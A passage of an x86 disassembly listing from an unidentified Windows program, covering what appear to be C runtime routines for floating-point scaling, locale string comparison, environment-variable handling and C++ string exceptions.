loc_425C0F inc [ebp+var_14] loc_425C0F: ; CODE XREF: sub_425A96+174j lea eax, [ebp+var_24] push eax call sub_424FD9 dec ebx pop ecx jnz short loc_425C06 cmp [ebp+var_14], 0 jz short loc_425C26 or byte ptr [ebp+var_24], 1 loc_425C26: ; CODE XREF: sub_425A96+155j ; sub_425A96+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425C3D mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425C72 loc_425C3D: ; CODE XREF: sub_425A96+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425C6F and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425C6A and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425C64 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C64: ; CODE XREF: sub_425A96+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425A96+1B5j inc [ebp+var_20+2] jmp short loc_425C72 ; --------------------------------------------------------------------------- loc_425C6F: ; CODE XREF: sub_425A96+1ABj inc [ebp+var_24+2] loc_425C72: ; CODE XREF: sub_425A96+1A5j ; sub_425A96+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425C96 mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425C90: ; CODE XREF: sub_425A96+86j mov [esi+0Ah], ax jmp short loc_425CB1 ; --------------------------------------------------------------------------- loc_425C96: ; CODE XREF: sub_425A96+42j ; sub_425A96+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425CB1: ; CODE XREF: sub_425A96+ABj ; sub_425A96+1FEj pop edi pop esi pop ebx leave retn sub_425A96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425CB6 proc near ; CODE XREF: sub_4250CD+440p ; sub_42559E+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43B158 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425D2F jge short loc_425CDE mov eax, [ebp+arg_4] mov ebx, offset dword_43B2B8 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425CDE: ; CODE XREF: sub_425CB6+16j cmp [ebp+arg_8], ecx jnz short loc_425CE9 mov eax, [ebp+arg_0] mov [eax], cx loc_425CE9: ; CODE XREF: sub_425CB6+2Bj cmp [ebp+arg_4], ecx jz short loc_425D2F push esi push edi loc_425CF0: ; CODE XREF: sub_425CB6+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425D28 lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425D1B lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425D1B: ; CODE XREF: sub_425CB6+57j push esi push [ebp+arg_0] call sub_425A96 pop ecx pop ecx xor ecx, ecx loc_425D28: ; CODE XREF: sub_425CB6+49j cmp [ebp+arg_4], ecx jnz short loc_425CF0 pop edi pop esi loc_425D2F: ; CODE XREF: sub_425CB6+14j ; sub_425CB6+36j pop ebx leave retn sub_425CB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425D32 proc near ; CODE XREF: sub_4259A3+5Ep ; sub_42620E+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425D3F xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425D3F: ; CODE XREF: sub_425D32+7j push dword_4DAB64 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DAD84 call sub_425DDF add esp, 1Ch test eax, eax jnz short loc_425D6C mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425D6C: ; CODE XREF: sub_425D32+31j add eax, 0FFFFFFFEh pop ebp retn sub_425D32 endp ; =============== S U B R O U T I N E ======================================= sub_425D71 proc near ; CODE XREF: sub_4259A3+1Ep ; sub_426087+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4D9744 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425DD2 mov ebx, dword_427194 loc_425D8A: ; CODE XREF: sub_425D71+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425DDA push ebp call sub_41BC9B cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425DDA push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425DDA push edi push [esp+18h+var_4] call sub_426087 mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425D8A loc_425DD2: ; CODE XREF: sub_425D71+11j xor eax, eax loc_425DD4: ; CODE XREF: sub_425D71+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425DDA: ; CODE XREF: sub_425D71+29j ; sub_425D71+38j ... or eax, 0FFFFFFFFh jmp short loc_425DD4 sub_425D71 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDF proc near ; CODE XREF: sub_425D32+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CB8 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4D9A20, ebx push 1 pop edi jnz short loc_425E52 push edi mov eax, offset dword_427908 push eax push edi push eax push ebx push ebx nop call near ptr 25E0000h test eax, eax jz short loc_425E2F mov dword_4D9A20, edi jmp short loc_425E52 ; --------------------------------------------------------------------------- loc_425E2F: ; CODE XREF: sub_425DDF+46j push edi mov eax, offset word_4C91BC push eax push edi push eax push ebx push ebx nop call near ptr 25E06BEh test eax, eax jz loc_426048 mov dword_4D9A20, 2 loc_425E52: ; CODE XREF: sub_425DDF+31j ; sub_425DDF+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425E69 push esi push [ebp+arg_8] call sub_42605C pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425E69: ; CODE XREF: sub_425DDF+78j cmp [ebp+arg_14], ebx jle short loc_425E7E push [ebp+arg_14] push [ebp+arg_10] call sub_42605C pop ecx pop ecx mov [ebp+arg_14], eax loc_425E7E: ; CODE XREF: sub_425DDF+8Dj mov eax, dword_4D9A20 cmp eax, 2 jnz short loc_425EA3 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E06BEh jmp loc_42604A ; --------------------------------------------------------------------------- loc_425EA3: ; CODE XREF: sub_425DDF+A7j cmp eax, edi jnz loc_426048 cmp [ebp+arg_18], ebx jnz short loc_425EB8 mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_425EB8: ; CODE XREF: sub_425DDF+CFj cmp esi, ebx jz short loc_425EC5 cmp [ebp+arg_14], ebx jnz loc_425F5D loc_425EC5: ; CODE XREF: sub_425DDF+DBj cmp esi, [ebp+arg_14] jnz short loc_425ED2 loc_425ECA: ; CODE XREF: sub_425DDF+13Cj ; sub_425DDF+16Dj push 2 loc_425ECC: ; CODE XREF: sub_425DDF+146j pop eax jmp loc_42604A ; --------------------------------------------------------------------------- loc_425ED2: ; CODE XREF: sub_425DDF+E9j cmp [ebp+arg_14], edi jle short loc_425EDE loc_425ED7: ; CODE XREF: sub_425DDF+151j ; sub_425DDF+159j ... mov eax, edi jmp loc_42604A ; --------------------------------------------------------------------------- loc_425EDE: ; CODE XREF: sub_425DDF+F6j cmp esi, edi jg short loc_425F23 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 2660000h test eax, eax jz loc_426048 cmp esi, ebx jle short loc_425F27 cmp [ebp+var_3C], 2 jb short loc_425F23 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425F23 loc_425F09: ; CODE XREF: sub_425DDF+142j mov dl, [eax+1] cmp dl, bl jz short loc_425F23 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_425F1D cmp cl, dl jbe short loc_425ECA loc_425F1D: ; CODE XREF: sub_425DDF+138j inc eax inc eax cmp [eax], bl jnz short loc_425F09 loc_425F23: ; CODE XREF: sub_425DDF+101j ; sub_425DDF+120j ... push 3 jmp short loc_425ECC ; --------------------------------------------------------------------------- loc_425F27: ; CODE XREF: sub_425DDF+11Aj cmp [ebp+arg_14], ebx jle short loc_425F5D cmp [ebp+var_3C], 2 jb short loc_425ED7 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425ED7 loc_425F3A: ; CODE XREF: sub_425DDF+177j mov dl, [eax+1] cmp dl, bl jz short loc_425ED7 mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_425F52 cmp cl, dl jbe loc_425ECA loc_425F52: ; CODE XREF: sub_425DDF+169j inc eax inc eax cmp [eax], bl jnz short loc_425F3A jmp loc_425ED7 ; --------------------------------------------------------------------------- loc_425F5D: ; CODE XREF: sub_425DDF+E0j ; sub_425DDF+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2700000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_426048 mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_425FAC ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_425FAC: ; CODE XREF: sub_425DDF+1B5j cmp [ebp+var_24], ebx jz loc_426048 push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_4270F0 call esi test eax, eax jz short loc_426048 push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_426048 mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_426017 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_426017: ; CODE XREF: sub_425DDF+224j cmp edi, ebx jz short loc_426048 push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] nop call near ptr 2700000h test eax, eax jz short loc_426048 push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25E0000h jmp short loc_42604A ; --------------------------------------------------------------------------- loc_426048: ; CODE XREF: sub_425DDF+63j ; sub_425DDF+C6j ... xor eax, eax loc_42604A: ; CODE XREF: sub_425DDF+BFj ; sub_425DDF+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425DDF endp ; =============== S U B R O U T I N E ======================================= sub_42605C proc near ; CODE XREF: sub_4229D2+81p ; sub_425DDF+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426079 loc_42606C: ; CODE XREF: sub_42605C+1Bj cmp byte ptr [eax], 0 jz short loc_426079 inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_42606C loc_426079: ; CODE XREF: sub_42605C+Ej ; sub_42605C+13j cmp byte ptr [eax], 0 pop esi jnz short loc_426084 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_426084: ; CODE XREF: sub_42605C+21j mov eax, edx retn sub_42605C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426087 proc near ; CODE XREF: sub_425D71+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_4260EB push 3Dh push [ebp+arg_0] call sub_4262CD mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_4260EB cmp [ebp+arg_0], esi jz short loc_4260EB mov eax, dword_4D973C xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4D9740 jnz short loc_4260D1 push eax call sub_426266 pop ecx mov dword_4D973C, eax loc_4260D1: ; CODE XREF: sub_426087+3Cj cmp eax, edi jnz short loc_426129 cmp [ebp+arg_4], edi jz short loc_4260F3 cmp dword_4D9744, edi jz short loc_4260F3 call sub_425D71 test eax, eax jz short loc_426129 loc_4260EB: ; CODE XREF: sub_426087+Dj ; sub_426087+22j ... or eax, 0FFFFFFFFh loc_4260EE: ; CODE XREF: sub_426087+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4260F3: ; CODE XREF: sub_426087+51j ; sub_426087+59j cmp ebx, edi jnz loc_426207 push 4 call sub_41BC9B cmp eax, edi pop ecx mov dword_4D973C, eax jz short loc_4260EB mov [eax], edi cmp dword_4D9744, edi jnz short loc_426129 push 4 call sub_41BC9B cmp eax, edi pop ecx mov dword_4D9744, eax jz short loc_4260EB mov [eax], edi loc_426129: ; CODE XREF: sub_426087+4Cj ; sub_426087+62j ... sub esi, [ebp+arg_0] mov edi, dword_4D973C mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_42620E mov esi, eax pop ecx test esi, esi pop ecx jl short loc_426189 cmp dword ptr [edi], 0 jz short loc_426189 test ebx, ebx jz short loc_426181 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41BA31 pop ecx loc_42615B: ; CODE XREF: sub_426087+E2j cmp dword ptr [edi], 0 jz short loc_42616B mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42615B ; --------------------------------------------------------------------------- loc_42616B: ; CODE XREF: sub_426087+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41BB48 pop ecx test eax, eax pop ecx jz short loc_4261BB jmp short loc_4261B6 ; --------------------------------------------------------------------------- loc_426181: ; CODE XREF: sub_426087+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4261BB ; --------------------------------------------------------------------------- loc_426189: ; CODE XREF: sub_426087+BDj ; sub_426087+C2j test ebx, ebx jnz short loc_426207 test esi, esi jge short loc_426193 neg esi loc_426193: ; CODE XREF: sub_426087+108j lea eax, ds:8[esi*4] push eax push edi call sub_41BB48 pop ecx test eax, eax pop ecx jz loc_4260EB mov ecx, [ebp+arg_0] mov [eax+esi*4], ecx and dword ptr [eax+esi*4+4], 0 loc_4261B6: ; CODE XREF: sub_426087+F8j mov dword_4D973C, eax loc_4261BB: ; CODE XREF: sub_426087+F6j ; sub_426087+100j cmp [ebp+arg_4], 0 jz short loc_426207 push [ebp+arg_0] call sub_41B960 inc eax inc eax push eax call sub_41BC9B mov esi, eax pop ecx test esi, esi pop ecx jz short loc_426207 push [ebp+arg_0] push esi call sub_41C620 mov eax, esi pop ecx sub eax, [ebp+arg_0] pop ecx add eax, [ebp+var_8] and byte ptr [eax], 0 inc eax neg ebx sbb ebx, ebx not ebx and ebx, eax push ebx push esi nop call near ptr 25D0000h push esi call sub_41BA31 pop ecx loc_426207: ; CODE XREF: sub_426087+6Ej ; sub_426087+104j ... xor eax, eax jmp loc_4260EE sub_426087 endp ; =============== S U B R O U T I N E ======================================= sub_42620E proc near ; CODE XREF: sub_426087+B2p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, dword_4D973C push edi mov eax, [esi] test eax, eax jz short loc_426249 mov edi, [esp+8+arg_4] loc_426220: ; CODE XREF: sub_42620E+39j push edi push eax push [esp+10h+arg_0] call sub_425D32 add esp, 0Ch test eax, eax jnz short loc_42623F mov eax, [esi] mov al, [eax+edi] cmp al, 3Dh jz short loc_426259 test al, al jz short loc_426259 loc_42623F: ; CODE XREF: sub_42620E+22j mov eax, [esi+4] add esi, 4 test eax, eax jnz short loc_426220 loc_426249: ; CODE XREF: sub_42620E+Cj mov eax, esi sub eax, dword_4D973C sar eax, 2 neg eax loc_426256: ; CODE XREF: sub_42620E+56j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_426259: ; CODE XREF: sub_42620E+2Bj ; sub_42620E+2Fj mov eax, esi sub eax, dword_4D973C sar eax, 2 jmp short loc_426256 sub_42620E endp ; =============== S U B R O U T I N E ======================================= sub_426266 proc near ; CODE XREF: sub_426087+3Fp arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor ecx, ecx test edi, edi jnz short loc_426275 xor eax, eax pop edi retn ; --------------------------------------------------------------------------- loc_426275: ; CODE XREF: sub_426266+9j cmp dword ptr [edi], 0 lea eax, [edi+4] jz short loc_426287 loc_42627D: ; CODE XREF: sub_426266+1Fj mov edx, [eax] inc ecx add eax, 4 test edx, edx jnz short loc_42627D loc_426287: ; CODE XREF: sub_426266+15j push ebx push ebp lea eax, ds:4[ecx*4] push esi push eax call sub_41BC9B mov esi, eax pop ecx test esi, esi mov ebp, esi jnz short loc_4262A8 push 9 call sub_41E1C9 pop ecx loc_4262A8: ; CODE XREF: sub_426266+38j mov eax, [edi] mov ebx, edi loc_4262AC: ; CODE XREF: sub_426266+5Bj test eax, eax jz short loc_4262C3 push eax add ebx, 4 call sub_426340 mov [esi], eax mov eax, [ebx] pop ecx add esi, 4 jmp short loc_4262AC ; --------------------------------------------------------------------------- loc_4262C3: ; CODE XREF: sub_426266+48j and dword ptr [esi], 0 mov eax, ebp pop esi pop ebp pop ebx pop edi retn sub_426266 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4262CD proc near ; CODE XREF: sub_426087+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp dword_4DAB7C, 0 jnz short loc_4262E8 push [ebp+arg_4] push [ebp+arg_0] call sub_41C720 pop ecx pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_4262E8: ; CODE XREF: sub_4262CD+Aj mov ecx, [ebp+arg_0] loc_4262EB: ; CODE XREF: sub_4262CD+56j movzx ax, byte ptr [ecx] test ax, ax jz short loc_42632E movzx edx, al test byte_4DAC81[edx], 4 jz short loc_42631A mov dl, [ecx+1] inc ecx test dl, dl jz short loc_426325 movzx eax, ax movzx edx, dl shl eax, 8 or eax, edx cmp [ebp+arg_4], eax jz short loc_426329 jmp short loc_426322 ; --------------------------------------------------------------------------- loc_42631A: ; CODE XREF: sub_4262CD+31j movzx edx, ax cmp [ebp+arg_4], edx jz short loc_42632E loc_426322: ; CODE XREF: sub_4262CD+4Bj inc ecx jmp short loc_4262EB ; --------------------------------------------------------------------------- loc_426325: ; CODE XREF: sub_4262CD+39j xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_426329: ; CODE XREF: sub_4262CD+49j lea eax, [ecx-1] pop ebp retn ; --------------------------------------------------------------------------- loc_42632E: ; CODE XREF: sub_4262CD+25j ; sub_4262CD+53j movzx edx, ax mov eax, [ebp+arg_4] sub eax, edx neg eax sbb eax, eax not eax and eax, ecx pop ebp retn sub_4262CD endp ; =============== S U B R O U T I N E ======================================= sub_426340 proc near ; CODE XREF: sub_4183EC+21p ; sub_426266+4Ep arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] test esi, esi jz short loc_426367 push esi call sub_41B960 inc eax push eax call sub_41BC9B pop ecx test eax, eax pop ecx jz short loc_426367 push esi push eax call sub_41C620 pop ecx pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_426367: ; CODE XREF: sub_426340+7j ; sub_426340+1Aj xor eax, eax pop esi retn sub_426340 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_426370 proc near ; CODE XREF: sub_426453+19p ; sub_42657A+19p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_41B960 pop ecx push eax push [esp+8+arg_0] mov ecx, esi call sub_40D9A4 mov eax, esi pop esi retn 8 sub_426370 endp ; =============== S U B R O U T I N E ======================================= sub_42639A proc near ; CODE XREF: ___:004263C5p ; sub_426448+6j ... push esi mov esi, ecx push 1 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_40D968 mov ecx, esi pop esi jmp sub_42681F sub_42639A endp ; =============== S U B R O U T I N E ======================================= sub_4263B5 proc near ; DATA XREF: ___:00427CD8o ; ___:00427CE8o ... mov eax, [ecx+10h] test eax, eax jnz short locret_4263C1 mov eax, offset dword_4276A0 locret_4263C1: ; CODE XREF: sub_4263B5+5j retn sub_4263B5 endp ; --------------------------------------------------------------------------- push esi mov esi, ecx call sub_42639A test byte ptr [esp+8], 1 jz short loc_4263D8 push esi call sub_41D3EF pop ecx loc_4263D8: ; CODE XREF: ___:004263CFj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4263DE proc near ; CODE XREF: sub_426453+29p mov eax, offset loc_426D9E call sub_41D3D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CF0 call sub_426798 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] mov dword ptr [esi], offset off_427CE4 mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4263DE endp ; =============== S U B R O U T I N E ======================================= sub_42642C proc near ; DATA XREF: ___:off_427CE4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426448 test [esp+4+arg_0], 1 jz short loc_426442 push esi call sub_41D3EF pop ecx loc_426442: ; CODE XREF: sub_42642C+Dj mov eax, esi pop esi retn 4 sub_42642C endp ; =============== S U B R O U T I N E ======================================= sub_426448 proc near ; CODE XREF: sub_42642C+3p ; DATA XREF: ___:0042805Co mov dword ptr [ecx], offset off_427CE4 jmp sub_42639A sub_426448 endp ; =============== S U B R O U T I N E ======================================= sub_426453 proc near ; CODE XREF: sub_40D815+13p ; sub_40D9D9+Ep mov eax, offset loc_426DB0 call sub_41D3D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp-20h] call sub_426370 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4263DE push offset dword_428058 lea eax, [ebp-3Ch] push eax call sub_426842 int 3 ; Trap to Debugger sub_426453 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_426490 proc near ; CODE XREF: sub_4263DE+32p ; sub_4264B0+32p ... arg_0 = dword ptr 4 push esi xor eax, eax push 0FFFFFFFFh mov esi, ecx push eax push [esp+0Ch+arg_0] mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax call sub_40D815 mov eax, esi pop esi retn 4 sub_426490 endp ; =============== S U B R O U T I N E ======================================= sub_4264B0 proc near ; CODE XREF: sub_42657A+29p mov eax, offset loc_426DC2 call sub_41D3D0 push ecx push ecx push esi lea eax, [ebp-10h] mov esi, ecx push eax mov [ebp-14h], esi mov dword ptr [ebp-10h], offset dword_427CF0 call sub_426798 push dword ptr [ebp+8] and dword ptr [ebp-4], 0 lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264B0 endp ; =============== S U B R O U T I N E ======================================= sub_4264F8 proc near ; CODE XREF: sub_426562+7p ; sub_4265BE+7p ... mov eax, offset loc_426DD4 call sub_41D3D0 push ecx push esi push edi mov edi, [ebp+8] mov esi, ecx push edi mov [ebp-10h], esi call sub_4267D5 and dword ptr [ebp-4], 0 add edi, 0Ch push edi lea ecx, [esi+0Ch] mov dword ptr [esi], offset nullsub_1 call sub_426490 mov ecx, [ebp-0Ch] pop edi mov eax, esi pop esi mov large fs:0, ecx leave retn 4 sub_4264F8 endp ; =============== S U B R O U T I N E ======================================= sub_42653B proc near ; DATA XREF: ___:off_427D10o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_426557 test [esp+4+arg_0], 1 jz short loc_426551 push esi call sub_41D3EF pop ecx loc_426551: ; CODE XREF: sub_42653B+Dj mov eax, esi pop esi retn 4 sub_42653B endp ; =============== S U B R O U T I N E ======================================= sub_426557 proc near ; CODE XREF: sub_42653B+3p ; DATA XREF: ___:00428104o mov dword ptr [ecx], offset off_427D10 jmp sub_42639A sub_426557 endp ; =============== S U B R O U T I N E ======================================= sub_426562 proc near ; CODE XREF: sub_4265D6+46p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4264F8 mov dword ptr [esi], offset off_427CE4 mov eax, esi pop esi retn 4 sub_426562 endp ; =============== S U B R O U T I N E ======================================= sub_42657A proc near ; CODE XREF: sub_40D765+15p ; sub_40D7BE+15p ... mov eax, offset loc_426DE6 call sub_41D3D0 sub esp, 30h lea eax, [ebp-0Dh] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp-20h] call sub_426370 and dword ptr [ebp-4], 0 lea eax, [ebp-20h] push eax lea ecx, [ebp-3Ch] call sub_4264B0 push offset dword_428100 lea eax, [ebp-3Ch] push eax mov dword ptr [ebp-3Ch], offset off_427D10 call sub_426842 int 3 ; Trap to Debugger sub_42657A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4265BE proc near ; CODE XREF: sub_4265D6+28p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_4264F8 mov dword ptr [esi], offset off_427D10 mov eax, esi pop esi retn 4 sub_4265BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4265D6 proc near ; DATA XREF: ___:00427CDCo var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4264F8 push offset dword_428140 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger loc_4265F4: ; DATA XREF: ___:00427D18o push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_4265BE push offset dword_428100 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger loc_426612: ; DATA XREF: ___:00427CECo push ebp mov ebp, esp sub esp, 1Ch push ecx lea ecx, [ebp+var_1C] call sub_426562 push offset dword_428058 lea eax, [ebp+var_1C] push eax call sub_426842 int 3 ; Trap to Debugger sub_4265D6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_426630 proc near nop jmp near ptr 71B2ACCBh sub_426630 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_426636 proc near ; CODE XREF: sub_40D0EB+5Ep ; ___:00415727p ... jmp near ptr 71AB1B7Bh sub_426636 endp ; --------------------------------------------------------------------------- db 28h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42663C proc near ; CODE XREF: sub_41D03C+23p ; sub_41D2E0+13p nop jmp near ptr 2880000h sub_42663C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426642 proc near ; CODE XREF: ___:0040B084p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0Ah jnz short loc_426657 cmp [ebp+arg_0], 0 jge short loc_426657 push 1 push 0Ah jmp short loc_42665C ; --------------------------------------------------------------------------- loc_426657: ; CODE XREF: sub_426642+7j ; sub_426642+Dj push 0 push [ebp+arg_8] loc_42665C: ; CODE XREF: sub_426642+13j push [ebp+arg_4] push [ebp+arg_0] call sub_42666F mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_426642 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42666F proc near ; CODE XREF: sub_426642+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi 